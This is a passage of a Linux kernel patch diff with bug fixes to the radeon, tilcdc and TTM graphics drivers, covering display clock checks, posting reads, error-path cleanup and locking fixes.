(mode->flags & DRM_MODE_FLAG_DBLSCAN) + misc |= ATOM_H_REPLICATIONBY2 | ATOM_V_REPLICATIONBY2; args.susModeMiscInfo.usAccess = cpu_to_le16(misc); args.ucCRTC = radeon_crtc->crtc_id; diff --git a/drivers/gpu/drm/radeon/atombios_dp.c b/drivers/gpu/drm/radeon/atombios_dp.c index 4c05f2b015cfe..d4a5118911fdb 100644 --- a/drivers/gpu/drm/radeon/atombios_dp.c +++ b/drivers/gpu/drm/radeon/atombios_dp.c @@ -574,6 +574,10 @@ int radeon_dp_mode_valid_helper(struct drm_connector *connector, struct radeon_connector_atom_dig *dig_connector; int dp_clock; + if ((mode->clock > 340000) && + (!radeon_connector_is_dp12_capable(connector))) + return MODE_CLOCK_HIGH; + if (!radeon_connector->con_priv) return MODE_CLOCK_HIGH; dig_connector = radeon_connector->con_priv; diff --git a/drivers/gpu/drm/radeon/atombios_encoders.c b/drivers/gpu/drm/radeon/atombios_encoders.c index 5802d74863543..5b8d868d8691e 100644 --- a/drivers/gpu/drm/radeon/atombios_encoders.c +++ b/drivers/gpu/drm/radeon/atombios_encoders.c @@ -183,7 +183,6 @@ void radeon_atom_backlight_init(struct radeon_encoder *radeon_encoder, struct backlight_properties props; struct radeon_backlight_privdata *pdata; struct radeon_encoder_atom_dig *dig; - u8 backlight_level; char bl_name[16]; /* Mac laptops with multiple GPUs use the gmux driver for backlight @@ -222,12 +221,17 @@ void radeon_atom_backlight_init(struct radeon_encoder *radeon_encoder, pdata->encoder = radeon_encoder; - backlight_level = radeon_atom_get_backlight_level_from_reg(rdev); - dig = radeon_encoder->enc_priv; dig->bl_dev = bd; bd->props.brightness = radeon_atom_backlight_get_brightness(bd); + /* Set a reasonable default here if the level is 0 otherwise + * fbdev will attempt to turn the backlight on after console + * unblanking and it will try and restore 0 which turns the backlight + * off again. + */ + if (bd->props.brightness == 0) + bd->props.brightness = RADEON_MAX_BL_LEVEL; bd->props.power = FB_BLANK_UNBLANK; backlight_update_status(bd); @@ -866,8 +870,6 @@ atombios_dig_encoder_setup(struct drm_encoder *encoder, int action, int panel_mo else args.v1.ucLaneNum = 4; - if (ENCODER_MODE_IS_DP(args.v1.ucEncoderMode) && (dp_clock == 270000)) - args.v1.ucConfig |= ATOM_ENCODER_CONFIG_DPLINKRATE_2_70GHZ; switch (radeon_encoder->encoder_id) { case ENCODER_OBJECT_ID_INTERNAL_UNIPHY: args.v1.ucConfig = ATOM_ENCODER_CONFIG_V2_TRANSMITTER1; @@ -884,6 +886,10 @@ atombios_dig_encoder_setup(struct drm_encoder *encoder, int action, int panel_mo args.v1.ucConfig |= ATOM_ENCODER_CONFIG_LINKB; else args.v1.ucConfig |= ATOM_ENCODER_CONFIG_LINKA; + + if (ENCODER_MODE_IS_DP(args.v1.ucEncoderMode) && (dp_clock == 270000)) + args.v1.ucConfig |= ATOM_ENCODER_CONFIG_DPLINKRATE_2_70GHZ; + break; case 2: case 3: diff --git a/drivers/gpu/drm/radeon/evergreen.c b/drivers/gpu/drm/radeon/evergreen.c index e62a9ce3e4dc5..59ea6547306bb 100644 --- a/drivers/gpu/drm/radeon/evergreen.c +++ b/drivers/gpu/drm/radeon/evergreen.c @@ -2379,6 +2379,7 @@ void evergreen_mc_stop(struct radeon_device *rdev, struct evergreen_mc_save *sav WREG32(EVERGREEN_CRTC_UPDATE_LOCK + crtc_offsets[i], 1); tmp |= EVERGREEN_CRTC_BLANK_DATA_EN; WREG32(EVERGREEN_CRTC_BLANK_CONTROL + crtc_offsets[i], tmp); + WREG32(EVERGREEN_CRTC_UPDATE_LOCK + crtc_offsets[i], 0); } } else { tmp = RREG32(EVERGREEN_CRTC_CONTROL + crtc_offsets[i]); @@ -4015,6 +4016,9 @@ int evergreen_irq_set(struct radeon_device *rdev) WREG32(AFMT_AUDIO_PACKET_CONTROL + EVERGREEN_CRTC4_REGISTER_OFFSET, afmt5); WREG32(AFMT_AUDIO_PACKET_CONTROL + EVERGREEN_CRTC5_REGISTER_OFFSET, afmt6); + /* posting read */ + RREG32(SRBM_STATUS); + return 0; } diff --git a/drivers/gpu/drm/radeon/ni.c b/drivers/gpu/drm/radeon/ni.c index 451d7886644c0..c254e467ac62d 100644 --- a/drivers/gpu/drm/radeon/ni.c +++ b/drivers/gpu/drm/radeon/ni.c @@ -930,12 +930,12 @@ static void cayman_gpu_init(struct radeon_device *rdev) if ((rdev->config.cayman.max_backends_per_se == 1) && (rdev->flags & RADEON_IS_IGP)) { - if ((disabled_rb_mask & 3) == 1) { - /* RB0 disabled, RB1 enabled */ - tmp = 0x11111111; - } else { + if ((disabled_rb_mask & 3) == 2) { /* RB1 disabled, RB0 enabled */ tmp = 0x00000000; + } else { + /* RB0 disabled, RB1 enabled */ + tmp = 0x11111111; } } else { tmp = gb_addr_config & NUM_PIPES_MASK; diff --git a/drivers/gpu/drm/radeon/r100.c b/drivers/gpu/drm/radeon/r100.c index 46470dd7c7102..f9f0e3680d76b 100644 --- a/drivers/gpu/drm/radeon/r100.c +++ b/drivers/gpu/drm/radeon/r100.c @@ -743,6 +743,10 @@ int r100_irq_set(struct radeon_device *rdev) tmp |= RADEON_FP2_DETECT_MASK; } WREG32(RADEON_GEN_INT_CNTL, tmp); + + /* read back to post the write */ + RREG32(RADEON_GEN_INT_CNTL); + return 0; } diff --git a/drivers/gpu/drm/radeon/r600.c b/drivers/gpu/drm/radeon/r600.c index 4cf21ec1abe39..90b007594e32f 100644 --- a/drivers/gpu/drm/radeon/r600.c +++ b/drivers/gpu/drm/radeon/r600.c @@ -3459,6 +3459,9 @@ int r600_init(struct radeon_device *rdev) rdev->accel_working = false; } + /* posting read */ + RREG32(R_000E50_SRBM_STATUS); + return 0; } diff --git a/drivers/gpu/drm/radeon/radeon_atombios.c b/drivers/gpu/drm/radeon/radeon_atombios.c index efb06e34aed73..f4b9b1c0cae81 100644 --- a/drivers/gpu/drm/radeon/radeon_atombios.c +++ b/drivers/gpu/drm/radeon/radeon_atombios.c @@ -452,7 +452,9 @@ static bool radeon_atom_apply_quirks(struct drm_device *dev, } /* Fujitsu D3003-S2 board lists DVI-I as DVI-D and VGA */ - if (((dev->pdev->device == 0x9802) || (dev->pdev->device == 0x9806)) && + if (((dev->pdev->device == 0x9802) || + (dev->pdev->device == 0x9805) || + (dev->pdev->device == 0x9806)) && (dev->pdev->subsystem_vendor == 0x1734) && (dev->pdev->subsystem_device == 0x11bd)) { if (*connector_type == DRM_MODE_CONNECTOR_VGA) { @@ -463,7 +465,6 @@ static bool radeon_atom_apply_quirks(struct drm_device *dev, } } - return true; } @@ -1143,7 +1144,7 @@ bool radeon_atom_get_clock_info(struct drm_device *dev) le16_to_cpu(firmware_info->info.usReferenceClock); p1pll->reference_div = 0; - if (crev < 2) + if ((frev < 2) && (crev < 2)) p1pll->pll_out_min = le16_to_cpu(firmware_info->info.usMinPixelClockPLL_Output); else @@ -1152,7 +1153,7 @@ bool radeon_atom_get_clock_info(struct drm_device *dev) p1pll->pll_out_max = le32_to_cpu(firmware_info->info.ulMaxPixelClockPLL_Output); - if (crev >= 4) { + if (((frev < 2) && (crev >= 4)) || (frev >= 2)) { p1pll->lcd_pll_out_min = le16_to_cpu(firmware_info->info_14.usLcdMinPixelClockPLL_Output) * 100; if (p1pll->lcd_pll_out_min == 0) @@ -1908,7 +1909,7 @@ static const char *thermal_controller_names[] = { "adm1032", "adm1030", "max6649", - "lm64", + "lm63", /* lm64 */ "f75375", "asc7xxx", }; @@ -1919,7 +1920,7 @@ static const char *pp_lib_thermal_controller_names[] = { "adm1032", "adm1030", "max6649", - "lm64", + "lm63", /* lm64 */ "f75375", "RV6xx", "RV770", diff --git a/drivers/gpu/drm/radeon/radeon_atpx_handler.c b/drivers/gpu/drm/radeon/radeon_atpx_handler.c index 8c44ef57864b1..a7e1893de8384 100644 --- a/drivers/gpu/drm/radeon/radeon_atpx_handler.c +++ b/drivers/gpu/drm/radeon/radeon_atpx_handler.c @@ -11,6 +11,7 @@ #include #include #include +#include #include "radeon_acpi.h" @@ -252,6 +253,10 @@ static int radeon_atpx_set_discrete_state(struct radeon_atpx *atpx, u8 state) if (!info) return -EIO; kfree(info); + + /* 200ms delay is required after off */ + if (state == 0) + msleep(200); } return 0; } diff --git a/drivers/gpu/drm/radeon/radeon_bios.c b/drivers/gpu/drm/radeon/radeon_bios.c index b131520521e45..72b02483ff037 100644 --- a/drivers/gpu/drm/radeon/radeon_bios.c +++ b/drivers/gpu/drm/radeon/radeon_bios.c @@ -76,7 +76,7 @@ static bool igp_read_bios_from_vram(struct radeon_device *rdev) static bool radeon_read_bios(struct radeon_device *rdev) { - uint8_t __iomem *bios; + uint8_t __iomem *bios, val1, val2; size_t size; rdev->bios = NULL; @@ -86,15 +86,19 @@ static bool radeon_read_bios(struct radeon_device *rdev) return false; } - if (size == 0 || bios[0] != 0x55 || bios[1] != 0xaa) { + val1 = readb(&bios[0]); + val2 = readb(&bios[1]); + + if (size == 0 || val1 != 0x55 || val2 != 0xaa) { pci_unmap_rom(rdev->pdev, bios); return false; } - rdev->bios = kmemdup(bios, size, GFP_KERNEL); + rdev->bios = kzalloc(size, GFP_KERNEL); if (rdev->bios == NULL) { pci_unmap_rom(rdev->pdev, bios); return false; } + memcpy_fromio(rdev->bios, bios, size); pci_unmap_rom(rdev->pdev, bios); return true; } diff --git a/drivers/gpu/drm/radeon/radeon_combios.c b/drivers/gpu/drm/radeon/radeon_combios.c index 68ce360560190..9c64a973190e2 100644 --- a/drivers/gpu/drm/radeon/radeon_combios.c +++ b/drivers/gpu/drm/radeon/radeon_combios.c @@ -1271,10 +1271,15 @@ struct radeon_encoder_lvds *radeon_combios_get_lvds_info(struct radeon_encoder if ((RBIOS16(tmp) == lvds->native_mode.hdisplay) && (RBIOS16(tmp + 2) == lvds->native_mode.vdisplay)) { + u32 hss = (RBIOS16(tmp + 21) - RBIOS16(tmp + 19) - 1) * 8; + + if (hss > lvds->native_mode.hdisplay) + hss = (10 - 1) * 8; + lvds->native_mode.htotal = lvds->native_mode.hdisplay + (RBIOS16(tmp + 17) - RBIOS16(tmp + 19)) * 8; lvds->native_mode.hsync_start = lvds->native_mode.hdisplay + - (RBIOS16(tmp + 21) - RBIOS16(tmp + 19) - 1) * 8; + hss; lvds->native_mode.hsync_end = lvds->native_mode.hsync_start + (RBIOS8(tmp + 23) * 8); @@ -3398,6 +3403,14 @@ void radeon_combios_asic_init(struct drm_device *dev) rdev->pdev->subsystem_device == 0x30ae) return; + /* quirk for rs4xx HP Compaq dc5750 Small Form Factor to make it resume + * - it hangs on resume inside the dynclk 1 table. + */ + if (rdev->family == CHIP_RS480 && + rdev->pdev->subsystem_vendor == 0x103c && + rdev->pdev->subsystem_device == 0x280a) + return; + /* DYN CLK 1 */ table = combios_get_table_offset(dev, COMBIOS_DYN_CLK_1_TABLE); if (table) diff --git a/drivers/gpu/drm/radeon/radeon_connectors.c b/drivers/gpu/drm/radeon/radeon_connectors.c index fc604fc757971..ea62810aeda66 100644 --- a/drivers/gpu/drm/radeon/radeon_connectors.c +++ b/drivers/gpu/drm/radeon/radeon_connectors.c @@ -78,6 +78,11 @@ void radeon_connector_hotplug(struct drm_connector *connector) if (!radeon_hpd_sense(rdev, radeon_connector->hpd.hpd)) { drm_helper_connector_dpms(connector, DRM_MODE_DPMS_OFF); } else if (radeon_dp_needs_link_train(radeon_connector)) { + /* Don't try to start link training before we + * have the dpcd */ + if (!radeon_dp_getdpcd(radeon_connector)) + return; + /* set it to OFF so that drm_helper_connector_dpms() * won't return immediately since the current state * is ON at this point. @@ -1686,7 +1691,6 @@ radeon_add_atom_connector(struct drm_device *dev, 1); /* no HPD on analog connectors */ radeon_connector->hpd.hpd = RADEON_HPD_NONE; - connector->polled = DRM_CONNECTOR_POLL_CONNECT; connector->interlace_allowed = true; connector->doublescan_allowed = true; break; @@ -1884,8 +1888,10 @@ radeon_add_atom_connector(struct drm_device *dev, } if (radeon_connector->hpd.hpd == RADEON_HPD_NONE) { - if (i2c_bus->valid) - connector->polled = DRM_CONNECTOR_POLL_CONNECT; + if (i2c_bus->valid) { + connector->polled = DRM_CONNECTOR_POLL_CONNECT | + DRM_CONNECTOR_POLL_DISCONNECT; + } } else connector->polled = DRM_CONNECTOR_POLL_HPD; @@ -1957,7 +1963,6 @@ radeon_add_legacy_connector(struct drm_device *dev, 1); /* no HPD on analog connectors */ radeon_connector->hpd.hpd = RADEON_HPD_NONE; - connector->polled = DRM_CONNECTOR_POLL_CONNECT; connector->interlace_allowed = true; connector->doublescan_allowed = true; break; @@ -2042,10 +2047,13 @@ radeon_add_legacy_connector(struct drm_device *dev, } if (radeon_connector->hpd.hpd == RADEON_HPD_NONE) { - if (i2c_bus->valid) - connector->polled = DRM_CONNECTOR_POLL_CONNECT; + if (i2c_bus->valid) { + connector->polled = DRM_CONNECTOR_POLL_CONNECT | + DRM_CONNECTOR_POLL_DISCONNECT; + } } else connector->polled = DRM_CONNECTOR_POLL_HPD; + connector->display_info.subpixel_order = subpixel_order; drm_sysfs_connector_add(connector); } diff --git a/drivers/gpu/drm/radeon/radeon_cs.c b/drivers/gpu/drm/radeon/radeon_cs.c index 60af3cda587b8..6627585da1e5a 100644 --- a/drivers/gpu/drm/radeon/radeon_cs.c +++ b/drivers/gpu/drm/radeon/radeon_cs.c @@ -177,11 +177,13 @@ int radeon_cs_parser_init(struct radeon_cs_parser *p, void *data) u32 ring = RADEON_CS_RING_GFX; s32 priority = 0; + INIT_LIST_HEAD(&p->validated); + if (!cs->num_chunks) { return 0; } + /* get chunks */ - INIT_LIST_HEAD(&p->validated); p->idx = 0; p->ib.sa_bo = NULL; p->ib.semaphore = NULL; diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c index 8df1525f71d23..e9db3f8125ed0 100644 --- a/drivers/gpu/drm/radeon/radeon_device.c +++ b/drivers/gpu/drm/radeon/radeon_device.c @@ -449,6 +449,23 @@ void radeon_gtt_location(struct radeon_device *rdev, struct radeon_mc *mc) /* * GPU helpers function. */ + +/** + * radeon_device_is_virtual - check if we are running is a virtual environment + * + * Check if the asic has been passed through to a VM (all asics). + * Used at driver startup. + * Returns true if virtual or false if not. + */ +static bool radeon_device_is_virtual(void) +{ +#ifdef CONFIG_X86 + return boot_cpu_has(X86_FEATURE_HYPERVISOR); +#else + return false; +#endif +} + /** * radeon_card_posted - check if the hw has already been initialized * @@ -462,6 +479,10 @@ bool radeon_card_posted(struct radeon_device *rdev) { uint32_t reg; + /* for pass through, always force asic_init */ + if (radeon_device_is_virtual()) + return false; + /* required for EFI mode on macbook2,1 which uses an r5xx asic */ if (efi_enabled(EFI_BOOT) && (rdev->pdev->subsystem_vendor == PCI_VENDOR_ID_APPLE) && diff --git a/drivers/gpu/drm/radeon/radeon_display.c b/drivers/gpu/drm/radeon/radeon_display.c index 06ccfe4776509..a84de32a91f57 100644 --- a/drivers/gpu/drm/radeon/radeon_display.c +++ b/drivers/gpu/drm/radeon/radeon_display.c @@ -688,6 +688,10 @@ int radeon_ddc_get_modes(struct radeon_connector *radeon_connector) struct radeon_device *rdev = dev->dev_private; int ret = 0; + /* don't leak the edid if we already fetched it in detect() */ + if (radeon_connector->edid) + goto got_edid; + /* on hw with routers, select right port */ if (radeon_connector->router.ddc_valid) radeon_router_select_ddc_port(radeon_connector); @@ -727,6 +731,7 @@ int radeon_ddc_get_modes(struct radeon_connector *radeon_connector) radeon_connector->edid = radeon_bios_get_hardcoded_edid(rdev); } if (radeon_connector->edid) { +got_edid: drm_mode_connector_update_edid_property(&radeon_connector->base, radeon_connector->edid); ret = drm_add_edid_modes(&radeon_connector->base, radeon_connector->edid); drm_edid_to_eld(&radeon_connector->base, radeon_connector->edid); diff --git a/drivers/gpu/drm/radeon/radeon_gart.c b/drivers/gpu/drm/radeon/radeon_gart.c index 2915a1c569340..c4bb0bc2a1d95 100644 --- a/drivers/gpu/drm/radeon/radeon_gart.c +++ b/drivers/gpu/drm/radeon/radeon_gart.c @@ -251,8 +251,10 @@ void radeon_gart_unbind(struct radeon_device *rdev, unsigned offset, } } } - mb(); - radeon_gart_tlb_flush(rdev); + if (rdev->gart.ptr) { + mb(); + radeon_gart_tlb_flush(rdev); + } } /** @@ -294,8 +296,10 @@ int radeon_gart_bind(struct radeon_device *rdev, unsigned offset, } } } - mb(); - radeon_gart_tlb_flush(rdev); + if (rdev->gart.ptr) { + mb(); + radeon_gart_tlb_flush(rdev); + } return 0; } diff --git a/drivers/gpu/drm/radeon/radeon_irq_kms.c b/drivers/gpu/drm/radeon/radeon_irq_kms.c index 1fe12ab5c5ea9..6acd3646ac08f 100644 --- a/drivers/gpu/drm/radeon/radeon_irq_kms.c +++ b/drivers/gpu/drm/radeon/radeon_irq_kms.c @@ -73,10 +73,17 @@ static void radeon_hotplug_work_func(struct work_struct *work) struct drm_mode_config *mode_config = &dev->mode_config; struct drm_connector *connector; + /* we can race here at startup, some boards seem to trigger + * hotplug irqs when they shouldn't. */ + if (!rdev->mode_info.mode_config_initialized) + return; + + mutex_lock(&mode_config->mutex); if (mode_config->num_connector) { list_for_each_entry(connector, &mode_config->connector_list, head) radeon_connector_hotplug(connector); } + mutex_unlock(&mode_config->mutex); /* Just fire off a uevent and let userspace tell us what to do */ drm_helper_hpd_irq_event(dev); } diff --git a/drivers/gpu/drm/radeon/radeon_kms.c b/drivers/gpu/drm/radeon/radeon_kms.c index 1113e8f691372..2c3c4c58a7650 100644 --- a/drivers/gpu/drm/radeon/radeon_kms.c +++ b/drivers/gpu/drm/radeon/radeon_kms.c @@ -666,6 +666,8 @@ int radeon_get_vblank_timestamp_kms(struct drm_device *dev, int crtc, /* Get associated drm_crtc: */ drmcrtc = &rdev->mode_info.crtcs[crtc]->base; + if (!drmcrtc) + return -EINVAL; /* Helper routine in DRM core does all the work: */ return drm_calc_vbltimestamp_from_scanoutpos(dev, crtc, max_error, diff --git a/drivers/gpu/drm/radeon/radeon_sa.c b/drivers/gpu/drm/radeon/radeon_sa.c index f0bac68254b79..8962411b5f2b7 100644 --- a/drivers/gpu/drm/radeon/radeon_sa.c +++ b/drivers/gpu/drm/radeon/radeon_sa.c @@ -349,8 +349,15 @@ int radeon_sa_bo_new(struct radeon_device *rdev, /* see if we can skip over some allocations */ } while (radeon_sa_bo_next_hole(sa_manager, fences, tries)); + for (i = 0; i < RADEON_NUM_RINGS; ++i) { + if (fences[i]) + radeon_fence_ref(fences[i]); + } + spin_unlock(&sa_manager->wq.lock); r = radeon_fence_wait_any(rdev, fences, false); + for (i = 0; i < RADEON_NUM_RINGS; ++i) + radeon_fence_unref(&fences[i]); spin_lock(&sa_manager->wq.lock); /* if we have nothing to wait for block */ if (r == -ENOENT && block) { diff --git a/drivers/gpu/drm/radeon/radeon_ttm.c b/drivers/gpu/drm/radeon/radeon_ttm.c index 6c0ce8915fac9..f7015592544f3 100644 --- a/drivers/gpu/drm/radeon/radeon_ttm.c +++ b/drivers/gpu/drm/radeon/radeon_ttm.c @@ -189,7 +189,7 @@ static void radeon_evict_flags(struct ttm_buffer_object *bo, rbo = container_of(bo, struct radeon_bo, tbo); switch (bo->mem.mem_type) { case TTM_PL_VRAM: - if (rbo->rdev->ring[RADEON_RING_TYPE_GFX_INDEX].ready == false) + if (rbo->rdev->ring[radeon_copy_ring_index(rbo->rdev)].ready == false) radeon_ttm_placement_from_domain(rbo, RADEON_GEM_DOMAIN_CPU); else radeon_ttm_placement_from_domain(rbo, RADEON_GEM_DOMAIN_GTT); @@ -619,7 +619,7 @@ static int radeon_ttm_tt_populate(struct ttm_tt *ttm) 0, PAGE_SIZE, PCI_DMA_BIDIRECTIONAL); if (pci_dma_mapping_error(rdev->pdev, gtt->ttm.dma_address[i])) { - while (--i) { + while (i--) { pci_unmap_page(rdev->pdev, gtt->ttm.dma_address[i], PAGE_SIZE, PCI_DMA_BIDIRECTIONAL); gtt->ttm.dma_address[i] = 0; diff --git a/drivers/gpu/drm/radeon/rs600.c b/drivers/gpu/drm/radeon/rs600.c index ae813fef0818e..971d55f73e0cd 100644 --- a/drivers/gpu/drm/radeon/rs600.c +++ b/drivers/gpu/drm/radeon/rs600.c @@ -636,6 +636,10 @@ int rs600_irq_set(struct radeon_device *rdev) WREG32(R_007D18_DC_HOT_PLUG_DETECT2_INT_CONTROL, hpd2); if (ASIC_IS_DCE2(rdev)) WREG32(R_007408_HDMI0_AUDIO_PACKET_CONTROL, hdmi0); + + /* posting read */ + RREG32(R_000040_GEN_INT_CNTL); + return 0; } diff --git a/drivers/gpu/drm/radeon/si.c b/drivers/gpu/drm/radeon/si.c index 03add5d5542e4..2410c38ff0375 100644 --- a/drivers/gpu/drm/radeon/si.c +++ b/drivers/gpu/drm/radeon/si.c @@ -5704,8 +5704,7 @@ int si_set_uvd_clocks(struct radeon_device *rdev, u32 vclk, u32 dclk) WREG32_P(CG_UPLL_FUNC_CNTL, UPLL_BYPASS_EN_MASK, ~UPLL_BYPASS_EN_MASK); if (!vclk || !dclk) { - /* keep the Bypass mode, put PLL to sleep */ - WREG32_P(CG_UPLL_FUNC_CNTL, UPLL_SLEEP_MASK, ~UPLL_SLEEP_MASK); + /* keep the Bypass mode */ return 0; } @@ -5721,8 +5720,7 @@ int si_set_uvd_clocks(struct radeon_device *rdev, u32 vclk, u32 dclk) /* set VCO_MODE to 1 */ WREG32_P(CG_UPLL_FUNC_CNTL, UPLL_VCO_MODE_MASK, ~UPLL_VCO_MODE_MASK); - /* toggle UPLL_SLEEP to 1 then back to 0 */ - WREG32_P(CG_UPLL_FUNC_CNTL, UPLL_SLEEP_MASK, ~UPLL_SLEEP_MASK); + /* disable sleep mode */ WREG32_P(CG_UPLL_FUNC_CNTL, 0, ~UPLL_SLEEP_MASK); /* deassert UPLL_RESET */ @@ -5778,5 +5776,8 @@ int si_set_uvd_clocks(struct radeon_device *rdev, u32 vclk, u32 dclk) mdelay(100); + /* posting read */ + RREG32(SRBM_STATUS); + return 0; } diff --git a/drivers/gpu/drm/tilcdc/tilcdc_drv.c b/drivers/gpu/drm/tilcdc/tilcdc_drv.c index 2b5461bcd9fb9..f5ddd35507965 100644 --- a/drivers/gpu/drm/tilcdc/tilcdc_drv.c +++ b/drivers/gpu/drm/tilcdc/tilcdc_drv.c @@ -78,6 +78,7 @@ static int modeset_init(struct drm_device *dev) if ((priv->num_encoders == 0) || (priv->num_connectors == 0)) { /* oh nos! */ dev_err(dev->dev, "no encoders/connectors found\n"); + drm_mode_config_cleanup(dev); return -ENXIO; } @@ -116,6 +117,7 @@ static int tilcdc_unload(struct drm_device *dev) struct tilcdc_drm_private *priv = dev->dev_private; struct tilcdc_module *mod, *cur; + drm_fbdev_cma_fini(priv->fbdev); drm_kms_helper_poll_fini(dev); drm_mode_config_cleanup(dev); drm_vblank_cleanup(dev); @@ -169,33 +171,37 @@ static int tilcdc_load(struct drm_device *dev, unsigned long flags) dev->dev_private = priv; priv->wq = alloc_ordered_workqueue("tilcdc", 0); + if (!priv->wq) { + ret = -ENOMEM; + goto fail_free_priv; + } res = platform_get_resource(pdev, IORESOURCE_MEM, 0); if (!res) { dev_err(dev->dev, "failed to get memory resource\n"); ret = -EINVAL; - goto fail; + goto fail_free_wq; } priv->mmio = ioremap_nocache(res->start, resource_size(res)); if (!priv->mmio) { dev_err(dev->dev, "failed to ioremap\n"); ret = -ENOMEM; - goto fail; + goto fail_free_wq; } priv->clk = clk_get(dev->dev, "fck"); if (IS_ERR(priv->clk)) { dev_err(dev->dev, "failed to get functional clock\n"); ret = -ENODEV; - goto fail; + goto fail_iounmap; } priv->disp_clk = clk_get(dev->dev, "dpll_disp_ck"); if (IS_ERR(priv->clk)) { dev_err(dev->dev, "failed to get display clock\n"); ret = -ENODEV; - goto fail; + goto fail_put_clk; } #ifdef CONFIG_CPU_FREQ @@ -205,7 +211,7 @@ static int tilcdc_load(struct drm_device *dev, unsigned long flags) CPUFREQ_TRANSITION_NOTIFIER); if (ret) { dev_err(dev->dev, "failed to register cpufreq notifier\n"); - goto fail; + goto fail_put_disp_clk; } #endif @@ -237,13 +243,13 @@ static int tilcdc_load(struct drm_device *dev, unsigned long flags) ret = modeset_init(dev); if (ret < 0) { dev_err(dev->dev, "failed to initialize mode setting\n"); - goto fail; + goto fail_cpufreq_unregister; } ret = drm_vblank_init(dev, 1); if (ret < 0) { dev_err(dev->dev, "failed to initialize vblank\n"); - goto fail; + goto fail_mode_config_cleanup; } pm_runtime_get_sync(dev->dev); @@ -251,7 +257,7 @@ static int tilcdc_load(struct drm_device *dev, unsigned long flags) pm_runtime_put_sync(dev->dev); if (ret < 0) { dev_err(dev->dev, "failed to install IRQ handler\n"); - goto fail; + goto fail_vblank_cleanup; } platform_set_drvdata(pdev, dev); @@ -259,13 +265,48 @@ static int tilcdc_load(struct drm_device *dev, unsigned long flags) priv->fbdev = drm_fbdev_cma_init(dev, 16, dev->mode_config.num_crtc, dev->mode_config.num_connector); + if (IS_ERR(priv->fbdev)) { + ret = PTR_ERR(priv->fbdev); + goto fail_irq_uninstall; + } drm_kms_helper_poll_init(dev); return 0; -fail: - tilcdc_unload(dev); +fail_irq_uninstall: + pm_runtime_get_sync(dev->dev); + drm_irq_uninstall(dev); + pm_runtime_put_sync(dev->dev); + +fail_vblank_cleanup: + drm_vblank_cleanup(dev); + +fail_mode_config_cleanup: + drm_mode_config_cleanup(dev); + +fail_cpufreq_unregister: + pm_runtime_disable(dev->dev); +#ifdef CONFIG_CPU_FREQ + cpufreq_unregister_notifier(&priv->freq_transition, + CPUFREQ_TRANSITION_NOTIFIER); +fail_put_disp_clk: + clk_put(priv->disp_clk); +#endif + +fail_put_clk: + clk_put(priv->clk); + +fail_iounmap: + iounmap(priv->mmio); + +fail_free_wq: + flush_workqueue(priv->wq); + destroy_workqueue(priv->wq); + +fail_free_priv: + dev->dev_private = NULL; + kfree(priv); return ret; } @@ -596,10 +637,10 @@ static int __init tilcdc_drm_init(void) static void __exit tilcdc_drm_fini(void) { DBG("fini"); - tilcdc_tfp410_fini(); - tilcdc_slave_fini(); - tilcdc_panel_fini(); platform_driver_unregister(&tilcdc_platform_driver); + tilcdc_panel_fini(); + tilcdc_slave_fini(); + tilcdc_tfp410_fini(); } late_initcall(tilcdc_drm_init); diff --git a/drivers/gpu/drm/tilcdc/tilcdc_panel.c b/drivers/gpu/drm/tilcdc/tilcdc_panel.c index 09176654fddb9..779d508616d30 100644 --- a/drivers/gpu/drm/tilcdc/tilcdc_panel.c +++ b/drivers/gpu/drm/tilcdc/tilcdc_panel.c @@ -151,6 +151,7 @@ struct panel_connector { static void panel_connector_destroy(struct drm_connector *connector) { struct panel_connector *panel_connector = to_panel_connector(connector); + drm_sysfs_connector_remove(connector); drm_connector_cleanup(connector); kfree(panel_connector); } @@ -285,10 +286,8 @@ static void panel_destroy(struct tilcdc_module *mod) { struct panel_module *panel_mod = to_panel_module(mod); - if (panel_mod->timings) { + if (panel_mod->timings) display_timings_release(panel_mod->timings); - kfree(panel_mod->timings); - } tilcdc_module_cleanup(mod); kfree(panel_mod->info); diff --git a/drivers/gpu/drm/tilcdc/tilcdc_slave.c b/drivers/gpu/drm/tilcdc/tilcdc_slave.c index db1d2fc9dfb51..5d6c597a5d699 100644 --- a/drivers/gpu/drm/tilcdc/tilcdc_slave.c +++ b/drivers/gpu/drm/tilcdc/tilcdc_slave.c @@ -142,6 +142,7 @@ struct slave_connector { static void slave_connector_destroy(struct drm_connector *connector) { struct slave_connector *slave_connector = to_slave_connector(connector); + drm_sysfs_connector_remove(connector); drm_connector_cleanup(connector); kfree(slave_connector); } diff --git a/drivers/gpu/drm/tilcdc/tilcdc_tfp410.c b/drivers/gpu/drm/tilcdc/tilcdc_tfp410.c index a36788fbcd984..986131dd9f471 100644 --- a/drivers/gpu/drm/tilcdc/tilcdc_tfp410.c +++ b/drivers/gpu/drm/tilcdc/tilcdc_tfp410.c @@ -168,6 +168,7 @@ struct tfp410_connector { static void tfp410_connector_destroy(struct drm_connector *connector) { struct tfp410_connector *tfp410_connector = to_tfp410_connector(connector); + drm_sysfs_connector_remove(connector); drm_connector_cleanup(connector); kfree(tfp410_connector); } diff --git a/drivers/gpu/drm/ttm/ttm_page_alloc_dma.c b/drivers/gpu/drm/ttm/ttm_page_alloc_dma.c index b8b394319b459..de1a753b1d563 100644 --- a/drivers/gpu/drm/ttm/ttm_page_alloc_dma.c +++ b/drivers/gpu/drm/ttm/ttm_page_alloc_dma.c @@ -1006,9 +1006,9 @@ EXPORT_SYMBOL_GPL(ttm_dma_unpopulate); static int ttm_dma_pool_mm_shrink(struct shrinker *shrink, struct shrink_control *sc) { - static atomic_t start_pool = ATOMIC_INIT(0); + static unsigned start_pool; unsigned idx = 0; - unsigned pool_offset = atomic_add_return(1, &start_pool); + unsigned pool_offset; unsigned shrink_pages = sc->nr_to_scan; struct device_pools *p; @@ -1016,7 +1016,9 @@ static int ttm_dma_pool_mm_shrink(struct shrinker *shrink, return 0; mutex_lock(&_manager->lock); - pool_offset = pool_offset % _manager->npools; + if (!_manager->npools) + goto out; + pool_offset = ++start_pool % _manager->npools; list_for_each_entry(p, &_manager->pools, pools) { unsigned nr_free; @@ -1033,6 +1035,7 @@ static int ttm_dma_pool_mm_shrink(struct shrinker *shrink, p->pool->dev_name, p->pool->name, current->pid, nr_free, shrink_pages); } +out: mutex_unlock(&_manager->lock); /* return estimated number of unused pages in pool */ return ttm_dma_pool_get_num_unused_pages(); diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_drv.c b/drivers/gpu/drm/vmwgfx/vmwgfx_drv.c index 6c44c69a5ba4a..94a0baac93dd5 100644 --- 